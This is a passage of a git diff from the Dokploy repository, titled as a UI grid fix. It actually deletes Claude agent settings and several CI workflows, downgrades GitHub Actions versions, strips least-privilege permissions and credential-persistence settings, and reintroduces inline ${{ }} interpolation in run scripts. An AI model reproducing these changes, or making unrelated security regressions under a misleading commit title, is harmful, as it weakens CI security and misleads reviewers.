fix(projects): make project cards grid fill available width on wide screens

.claude/settings.json

@@ -1,22 +0,0 @@
-{
-	"worktree": {
-		"baseRef": "fresh"
-	},
-	"hooks": {
-		"PostToolUse": [
-			{
-				"matcher": "EnterWorktree",
-				"hooks": [
-					{
-						"type": "command",
-						"command": "\"$CLAUDE_PROJECT_DIR/scripts/install-worktree-deps.sh\""
-					},
-					{
-						"type": "command",
-						"command": "\"$CLAUDE_PROJECT_DIR/scripts/assign-worktree-port.sh\""
-					}
-				]
-			}
-		]
-	}
-}

.claude/skills/fix-issue/SKILL.md

@@ -1,55 +0,0 @@
----
-name: fix-issue
-description: Implement a GitHub issue with reproduction and verification
-allowed-tools: Bash, Edit, Write, Read, Glob, Grep, mcp__playwright__*, mcp__dokploy__*
----
-
-The issue number is passed as $1.
-
-## Instance
-
-No instance is running yet — start your own, isolated to this worktree:
-
-1. Check `apps/dokploy/.env` for `PORT` (assigned per-worktree already).
-2. If nothing is listening on that port, start it: `pnpm dokploy:dev` in the
-   background, then poll `curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT`
-   until it answers (usually ~10-15s).
-3. Use `http://localhost:$PORT` as the base URL for Playwright navigation.
-
-Note: `mcp__dokploy__*` resolves its URL from
-`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port
-discovered mid-session. If those tools are unavailable or point at the wrong
-instance, fall back to `curl`/`gh api` for API-level checks, or ask the user
-to relaunch with `DOKPLOY_BASE_URL` exported first.
-
-## Tools
-
-- `mcp__dokploy__*` — the Dokploy API of the running instance. Use it to set up
-  state (create a project, an app, an env var) and to verify backend behavior.
-  Search for the tool you need; they are not all loaded upfront.
-- `mcp__playwright__*` — the browser at $DOKPLOY_BASE_URL. Use it for anything
-  a user would see or click.
-
-Pick by where the bug lives, not by convenience:
-
-- Bug in the UI (rendering, forms, navigation, state) → reproduce in Playwright.
-  The API returning correct data proves nothing here.
-- Bug in the API, deploy logic, or data → reproduce with the Dokploy MCP.
-  A green screenshot proves nothing here.
-- Unclear → do both.
-
-Use the MCP to reach the state you need quickly, then verify in the UI. Do not
-click through ten screens to create a project the API can create in one call.
-
-## Steps
-
-1. Run `gh issue view $1` and read the full issue, including comments.
-2. Reproduce the bug with the appropriate tool. If you cannot reproduce it,
-   comment on the issue explaining what you tried and STOP.
-   Do not implement anything.
-3. Implement the fix. Keep the change minimal and scoped to the issue.
-4. Run `pnpm test`, then re-run the same reproduction from step 2.
-5. Only if both pass: commit and run `gh pr create`. The PR description must
-   include the before/after reproduction steps and reference the issue.
-
-Never skip step 2. A fix you cannot reproduce and then verify is not a fix.

.github/workflows/create-pr.yml

@@ -14,34 +14,34 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout Repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
         with:
           fetch-depth: 0
 
       - name: Get version from package.json
-        run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> "$GITHUB_ENV"
+        run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> $GITHUB_ENV
 
       - name: Get latest GitHub tag
         run: |
           LATEST_TAG=$(git ls-remote --tags origin | awk -F'/' '{print $3}' | sort -V | tail -n1)
-          echo "LATEST_TAG=$LATEST_TAG" >> "$GITHUB_ENV"
+          echo "LATEST_TAG=$LATEST_TAG" >> $GITHUB_ENV
-          echo "$LATEST_TAG"
+          echo $LATEST_TAG
       - name: Compare versions
         run: |
-          if [ "$VERSION" != "$LATEST_TAG" ]; then
+          if [ "${{ env.VERSION }}" != "${{ env.LATEST_TAG }}" ]; then
             VERSION_CHANGED="true"
           else
             VERSION_CHANGED="false"
           fi
-          echo "VERSION_CHANGED=$VERSION_CHANGED" >> "$GITHUB_ENV"
+          echo "VERSION_CHANGED=$VERSION_CHANGED" >> $GITHUB_ENV
           echo "Comparing versions:"
-          echo "Current version: $VERSION"
+          echo "Current version: ${{ env.VERSION }}"
-          echo "Latest tag: $LATEST_TAG"
+          echo "Latest tag: ${{ env.LATEST_TAG }}"
           echo "Version changed: $VERSION_CHANGED"
       - name: Check if a PR already exists
         run: |
           PR_EXISTS=$(gh pr list --state open --base main --head canary --json number --jq '. | length')
-          echo "PR_EXISTS=$PR_EXISTS" >> "$GITHUB_ENV"
+          echo "PR_EXISTS=$PR_EXISTS" >> $GITHUB_ENV
         env:
           GH_TOKEN: ${{ secrets.GH_PAT }}
 
@@ -56,12 +56,12 @@ jobs:
           git push origin canary
 
           gh pr create \
-            --title "🚀 Release $VERSION" \
+            --title "🚀 Release ${{ env.VERSION }}" \
-            --body "
+            --body '
-            This PR promotes changes from \`canary\` to \`main\` for version $VERSION.
+            This PR promotes changes from `canary` to `main` for version ${{ env.VERSION }}.
 
             ### 🔍 Changes Include:
-            - Version bump to $VERSION
+            - Version bump to ${{ env.VERSION }}
             - All changes from canary branch
 
             ### ✅ Pre-merge Checklist:
@@ -69,7 +69,7 @@ jobs:
             - [ ] Documentation updated
             - [ ] Docker images built and tested
 
-            > 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)" \
+            > 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)' \
             --base main \
             --head canary \
             --label "release" --label "automated pr" || true \

.github/workflows/deploy.yml

@@ -5,38 +5,33 @@ on:
     branches: [main, canary]
   workflow_dispatch:
 
-permissions:
-  contents: read
-
 jobs:
   build-and-push-cloud-image:
     runs-on: ubuntu-latest
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v3
-        with:
-          persist-credentials: false
 
       - name: Set tag and version
         id: meta-cloud
         run: |
           VERSION=$(jq -r .version apps/dokploy/package.json)
-          echo "version=$VERSION" >> "$GITHUB_OUTPUT"
+          echo "version=$VERSION" >> $GITHUB_OUTPUT
-          if [ "$GITHUB_REF" = "refs/heads/main" ]; then
+          if [ "${{ github.ref }}" = "refs/heads/main" ]; then
-            echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> "$GITHUB_OUTPUT"
+            echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> $GITHUB_OUTPUT
           else
-            echo "tags=siumauricio/cloud:canary" >> "$GITHUB_OUTPUT"
+            echo "tags=siumauricio/cloud:canary" >> $GITHUB_OUTPUT
           fi
 
       - name: Log in to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v2
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Build and push Docker image
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v4
         with:
           context: .
           file: ./Dockerfile.cloud
@@ -53,28 +48,26 @@ jobs:
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v3
-        with:
-          persist-credentials: false
 
       - name: Set tag and version
         id: meta-schedule
         run: |
           VERSION=$(jq -r .version apps/dokploy/package.json)
-          if [ "$GITHUB_REF" = "refs/heads/main" ]; then
+          if [ "${{ github.ref }}" = "refs/heads/main" ]; then
-            echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> "$GITHUB_OUTPUT"
+            echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> $GITHUB_OUTPUT
           else
-            echo "tags=siumauricio/schedule:canary" >> "$GITHUB_OUTPUT"
+            echo "tags=siumauricio/schedule:canary" >> $GITHUB_OUTPUT
           fi
 
       - name: Log in to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v2
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Build and push Docker image
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v4
         with:
           context: .
           file: ./Dockerfile.schedule
@@ -87,28 +80,26 @@ jobs:
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v3
-        with:
-          persist-credentials: false
 
       - name: Set tag and version
         id: meta-server
         run: |
           VERSION=$(jq -r .version apps/dokploy/package.json)
-          if [ "$GITHUB_REF" = "refs/heads/main" ]; then
+          if [ "${{ github.ref }}" = "refs/heads/main" ]; then
-            echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> "$GITHUB_OUTPUT"
+            echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> $GITHUB_OUTPUT
           else
-            echo "tags=siumauricio/server:canary" >> "$GITHUB_OUTPUT"
+            echo "tags=siumauricio/server:canary" >> $GITHUB_OUTPUT
           fi
 
       - name: Log in to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v2
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Build and push Docker image
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v4
         with:
           context: .
           file: ./Dockerfile.server

.github/workflows/dokploy.yml

@@ -8,23 +8,18 @@ on:
 env:
   IMAGE_NAME: dokploy/dokploy
 
-permissions:
-  contents: read
-
 jobs:
   docker-amd:
     runs-on: ubuntu-22.04
     steps:
       - name: Checkout
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
-        with:
-          persist-credentials: false
 
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -32,15 +27,15 @@ jobs:
       - name: Set tag and version
         id: meta
         run: |
-          if [ "$GITHUB_REF" = "refs/heads/main" ]; then
+          if [ "${{ github.ref }}" = "refs/heads/main" ]; then
             TAG="latest"
             VERSION=$(node -p "require('./apps/dokploy/package.json').version")
-          elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
+          elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
             TAG="canary"
           else
             TAG="feature"
           fi
-          echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
+          echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
 
       - name: Prepare env file
         run: |
@@ -48,7 +43,7 @@ jobs:
           cp apps/dokploy/.env.production.example apps/dokploy/.env.production
 
       - name: Build and push
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v5
         with:
           context: .
           platforms: linux/amd64
@@ -58,15 +53,13 @@ jobs:
     runs-on: ubuntu-24.04-arm
     steps:
       - name: Checkout
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
-        with:
-          persist-credentials: false
 
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -75,15 +68,15 @@ jobs:
         id: meta
         run: |
           VERSION=$(node -p "require('./apps/dokploy/package.json').version")
-          if [ "$GITHUB_REF" = "refs/heads/main" ]; then
+          if [ "${{ github.ref }}" = "refs/heads/main" ]; then
             TAG="latest"
             VERSION=$(node -p "require('./apps/dokploy/package.json').version")
-          elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
+          elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
             TAG="canary"
           else
             TAG="feature"
           fi
-          echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
+          echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
 
       - name: Prepare env file
         run: |
@@ -91,7 +84,7 @@ jobs:
           cp apps/dokploy/.env.production.example apps/dokploy/.env.production
 
       - name: Build and push
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v5
         with:
           context: .
           platforms: linux/arm64
@@ -103,22 +96,20 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
-        with:
-          persist-credentials: false
 
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Create and push manifests
         run: |
-          if [ "$GITHUB_REF" = "refs/heads/main" ]; then
+          if [ "${{ github.ref }}" = "refs/heads/main" ]; then
             VERSION=$(node -p "require('./apps/dokploy/package.json').version")
             TAG="latest"
 
@@ -130,7 +121,7 @@ jobs:
               ${IMAGE_NAME}:${TAG}-amd64 \
               ${IMAGE_NAME}:${TAG}-arm64
 
-          elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
+          elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
             TAG="canary"
             docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
               ${IMAGE_NAME}:${TAG}-amd64 \
@@ -147,45 +138,28 @@ jobs:
     needs: [combine-manifests]
     if: github.ref == 'refs/heads/main'
     runs-on: ubuntu-latest
-    permissions:
-      contents: write
     outputs:
       version: ${{ steps.get_version.outputs.version }}
-      npm_version: ${{ steps.get_version.outputs.npm_version }}
     steps:
       - name: Checkout
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
         with:
           fetch-depth: 0
-          persist-credentials: false
 
       - name: Get version
         id: get_version
         run: |
           VERSION=$(node -p "require('./apps/dokploy/package.json').version")
-          echo "version=$VERSION" >> "$GITHUB_OUTPUT"
+          echo "version=$VERSION" >> $GITHUB_OUTPUT
-          echo "npm_version=${VERSION#v}" >> "$GITHUB_OUTPUT"
-
-      - name: Fetch install.sh
-        env:
-          RELEASE_VERSION: ${{ steps.get_version.outputs.version }}
-        run: |
-          curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
-          head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
-          grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
-          { head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${RELEASE_VERSION}}\""; tail -n +2 install.sh; } > install-pinned.sh
-          mv install-pinned.sh install.sh
 
       - name: Create Release
-        uses: softprops/action-gh-release@v3
+        uses: softprops/action-gh-release@v2
         with:
           tag_name: ${{ steps.get_version.outputs.version }}
-          target_commitish: ${{ github.sha }}
           name: ${{ steps.get_version.outputs.version }}
           generate_release_notes: true
           draft: false
           prerelease: false
-          files: install.sh
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
@@ -193,90 +167,75 @@ jobs:
     needs: [generate-release]
     if: github.ref == 'refs/heads/main'
     runs-on: ubuntu-latest
-    env:
-      NPM_VERSION: ${{ needs.generate-release.outputs.npm_version }}
     steps:
       - name: Checkout
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
-        with:
-          persist-credentials: false
-
-      - uses: pnpm/action-setup@v6
-        with:
-          version: 10.22.0
-
-      - uses: actions/setup-node@v7
-        with:
-          node-version: 24.4.0
-          cache: pnpm
-
-      - name: Generate OpenAPI specification
-        run: |
-          pnpm install --frozen-lockfile
-          pnpm generate:openapi
 
       - name: Sync version to MCP repository
         run: |
           git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
           cd /tmp/mcp-repo
 
-          jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
+          jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
           mv package.json.tmp package.json
 
-          cp $GITHUB_WORKSPACE/openapi.json src/generated/openapi.json
+          npm install -g pnpm
           pnpm install
+          pnpm run fetch-openapi
           pnpm run generate
 
           git config user.name "Dokploy Bot"
           git config user.email "bot@dokploy.com"
           git add -A
-          git commit -m "chore: bump version to $NPM_VERSION" \
+          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
-            -m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
+            -m "Source: ${{ github.repository }}@${{ github.sha }}" \
             --allow-empty
           git push
 
-          echo "✅ MCP repo synced to version $NPM_VERSION"
+          echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
 
       - name: Sync version to CLI repository
         run: |
           git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
           cd /tmp/cli-repo
 
-          jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
+          jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
           mv package.json.tmp package.json
 
-          cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
+          cp ${{ github.workspace }}/openapi.json ./openapi.json
+          npm install -g pnpm
           pnpm install
           pnpm run generate
 
           git config user.name "Dokploy Bot"
           git config user.email "bot@dokploy.com"
           git add -A
-          git commit -m "chore: bump version to $NPM_VERSION" \
+          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
-            -m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
+            -m "Source: ${{ github.repository }}@${{ github.sha }}" \
             --allow-empty
           git push
 
-          echo "✅ CLI repo synced to version $NPM_VERSION"
+          echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
 
       - name: Sync version to SDK repository
         run: |
           git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
           cd /tmp/sdk-repo
 
-          jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
+          jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
           mv package.json.tmp package.json
 
-          cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
+          cp ${{ github.workspace }}/openapi.json ./openapi.json
+          npm install -g pnpm
           pnpm install
           pnpm run generate
 
           git config user.name "Dokploy Bot"
           git config user.email "bot@dokploy.com"
           git add -A
-          git commit -m "chore: bump version to $NPM_VERSION" \
+          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
-            -m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
+            -m "Source: ${{ github.repository }}@${{ github.sha }}" \
             --allow-empty
           git push
 
-          echo "✅ SDK repo synced to version $NPM_VERSION"
+          echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"

.github/workflows/format.yml

@@ -6,22 +6,17 @@ on:
   pull_request:
     branches: [canary]
 
-permissions:
-  contents: read
-
 jobs:
   format:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout code
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
-        with:
-          persist-credentials: false
 
       - name: Setup biomeJs
-        uses: biomejs/setup-biome@v2
+        uses: biomejs/setup-biome@v2  
 
       - name: Run Biome formatter
         run:  biome format --write
 
-      - uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4
+      - uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2

.github/workflows/hotfix-cherry-pick.yml

@@ -1,51 +0,0 @@
-name: Hotfix Cherry-Pick
-
-on:
-  pull_request_target:
-    types: [closed, labeled]
-
-concurrency:
-  group: hotfix-to-main
-  cancel-in-progress: false
-
-jobs:
-  cherry-pick:
-    if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
-    runs-on: ubuntu-latest
-    permissions:
-      contents: write
-    steps:
-      - name: Checkout main
-        uses: actions/checkout@v7
-        with:
-          ref: main
-          fetch-depth: 0
-          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
-
-      - name: Cherry-pick fix to main
-        env:
-          MERGE_SHA: ${{ github.event.pull_request.merge_commit_sha }}
-        run: |
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-          SHA="$MERGE_SHA"
-          if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
-            git cherry-pick -x -m 1 "$SHA"
-          else
-            git cherry-pick -x "$SHA"
-          fi
-          git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
-          git push origin main
-
-      - name: Sync cherry-pick back into canary
-        run: |
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-          git fetch origin canary main
-          git checkout -B canary origin/canary
-          if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
-            git merge --abort
-            echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
-            exit 1
-          fi
-          git push origin canary

.github/workflows/hotfix-release.yml

@@ -1,32 +0,0 @@
-name: Hotfix Release
-
-on:
-  workflow_dispatch:
-
-concurrency:
-  group: hotfix-to-main
-  cancel-in-progress: false
-
-# Push to main goes through HOTFIX_PUSH_TOKEN, not the workflow token.
-permissions:
-  contents: read
-
-jobs:
-  release:
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout main
-        uses: actions/checkout@v7
-        with:
-          ref: main
-          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
-
-      - name: Bump patch version and push
-        run: |
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-          CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
-          NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
-          sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
-          git commit -am "chore: release ${NEW}"
-          git push origin main

.github/workflows/monitoring.yml

@@ -7,23 +7,18 @@ on:
 env:
   IMAGE_NAME: dokploy/monitoring
 
-permissions:
-  contents: read
-
 jobs:
   docker-amd:
     runs-on: ubuntu-22.04
     steps:
       - name: Checkout
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
-        with:
-          persist-credentials: false
 
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -31,17 +26,17 @@ jobs:
       - name: Set tag
         id: meta
         run: |
-          if [ "$GITHUB_REF" = "refs/heads/main" ]; then
+          if [ "${{ github.ref }}" = "refs/heads/main" ]; then
             TAG="latest"
-          elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
+          elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
             TAG="canary"
           else
             TAG="feature"
           fi
-          echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
+          echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
 
       - name: Build and push
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v5
         with:
           context: .
           file: ./Dockerfile.monitoring
@@ -52,15 +47,13 @@ jobs:
     runs-on: ubuntu-24.04-arm
     steps:
       - name: Checkout
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
-        with:
-          persist-credentials: false
 
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -68,17 +61,17 @@ jobs:
       - name: Set
         id: meta
         run: |
-          if [ "$GITHUB_REF" = "refs/heads/main" ]; then
+          if [ "${{ github.ref }}" = "refs/heads/main" ]; then
             TAG="latest"
-          elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
+          elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
             TAG="canary"
           else
             TAG="feature"
           fi
-          echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
+          echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
 
       - name: Build and push
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v5
         with:
           context: .
           file: ./Dockerfile.monitoring
@@ -91,29 +84,27 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
-        with:
-          persist-credentials: false
 
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Create and push manifests
         run: |
-          if [ "$GITHUB_REF" = "refs/heads/main" ]; then
+          if [ "${{ github.ref }}" = "refs/heads/main" ]; then
             TAG="latest"
 
             docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
               ${IMAGE_NAME}:${TAG}-amd64 \
               ${IMAGE_NAME}:${TAG}-arm64
 
-          elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
+          elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
             TAG="canary"
             docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
               ${IMAGE_NAME}:${TAG}-amd64 \

.github/workflows/pull-request.yml

@@ -14,11 +14,9 @@ jobs:
       matrix:
         job: [build, test, typecheck]
     steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v4
-        with:
+      - uses: pnpm/action-setup@v4
-          persist-credentials: false
+      - uses: actions/setup-node@v4
-      - uses: pnpm/action-setup@v6
-      - uses: actions/setup-node@v7
         with:
           node-version: 24.4.0
           cache: "pnpm"

.github/workflows/sync-openapi-docs.yml

@@ -12,20 +12,17 @@ on:
 
   workflow_dispatch:
 
-permissions:
-  contents: read
-
 jobs:
   generate-and-commit:
     name: Generate OpenAPI and commit to Dokploy repo
     runs-on: ubuntu-latest
     steps:
       - name: Checkout Dokploy repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v4
         with:
-          persist-credentials: false
+          token: ${{ secrets.GITHUB_TOKEN }}
-      - uses: pnpm/action-setup@v6
+      - uses: pnpm/action-setup@v4
-      - uses: actions/setup-node@v7
+      - uses: actions/setup-node@v4
         with:
           node-version: 24.4.0
           cache: "pnpm"

.github/workflows/upgrade-integration-test.yml

@@ -1,442 +0,0 @@
-# Upgrade Integration Test
-#
-# Tests that Dokploy can upgrade from version A to version B while keeping
-# user projects (Postgres, MongoDB, two web apps, one static site) alive.
-#
-# Generates upgrade pairs: each stable tag in [floor_version, target_version)
-# is paired with target_version. If target_version is empty, the highest tag
-# available on Docker Hub is used as the target.
-#
-# Only triggered manually to avoid burning Actions minutes.
-
-name: Upgrade Integration Test
-
-on:
-  workflow_dispatch:
-    inputs:
-      floor_version:
-        description: 'Oldest version tag to include in pairs (e.g. v0.29.4)'
-        required: false
-        default: 'v0.29.4'
-      target_version:
-        description: 'Target version to upgrade to (version B). Leave empty to use the highest available.'
-        required: false
-        default: ''
-
-env:
-  DOKPLOY_IMAGE:   dokploy/dokploy
-  DOKPLOY_SERVICE: dokploy
-  DOKPLOY_PORT:    3000
-
-permissions:
-  contents: read
-
-# ──────────────────────────────────────────────────────────────────────────────
-jobs:
-
-  # ── 1. Build the matrix ─────────────────────────────────────────────────────
-  build-matrix:
-    name: Build upgrade pair matrix
-    runs-on: ubuntu-latest
-    outputs:
-      pairs: ${{ steps.pairs.outputs.pairs }}
-
-    steps:
-      - name: Generate pairs
-        id: pairs
-        env:
-          FLOOR:  ${{ inputs.floor_version }}
-          TARGET: ${{ inputs.target_version }}
-        run: |
-          set -euo pipefail
-
-          # semver "a >= b" comparison helper (vX.Y.Z, strips leading v)
-          ge() {
-            [ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ]
-          }
-
-          # Fetch all semver tags from Docker Hub (dokploy/dokploy)
-          ALL_TAGS=$(curl -fsSL \
-            "https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \
-            jq -r '.results[].name' | \
-            grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \
-            sort -V)
-
-          echo "All tags found:"
-          echo "$ALL_TAGS"
-
-          # Target version (version B): explicit input, else highest available.
-          if [ -n "$TARGET" ]; then
-            TO="$TARGET"
-            echo "Using user-supplied target version: $TO"
-          else
-            TO=$(echo "$ALL_TAGS" | tail -n1)
-            echo "No target supplied; using highest available: $TO"
-          fi
-
-          # Floor semver components
-          FLOOR_CLEAN="${FLOOR#v}"
-          IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN"
-
-          # Each tag in [FLOOR, TO) → TO
-          PAIRS='[]'
-          while read -r TAG; do
-            [ -z "$TAG" ] && continue
-            # skip tags above-or-equal to the target (incl. the target itself)
-            ge "$TAG" "$TO" && continue
-            TAG_CLEAN="${TAG#v}"
-            IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN"
-            if [ "$T_MAJ" -gt "$F_MAJ" ] || \
-               { [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \
-               { [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then
-              PAIRS=$(echo "$PAIRS" | jq -c \
-                --arg f "$TAG" --arg t "$TO" \
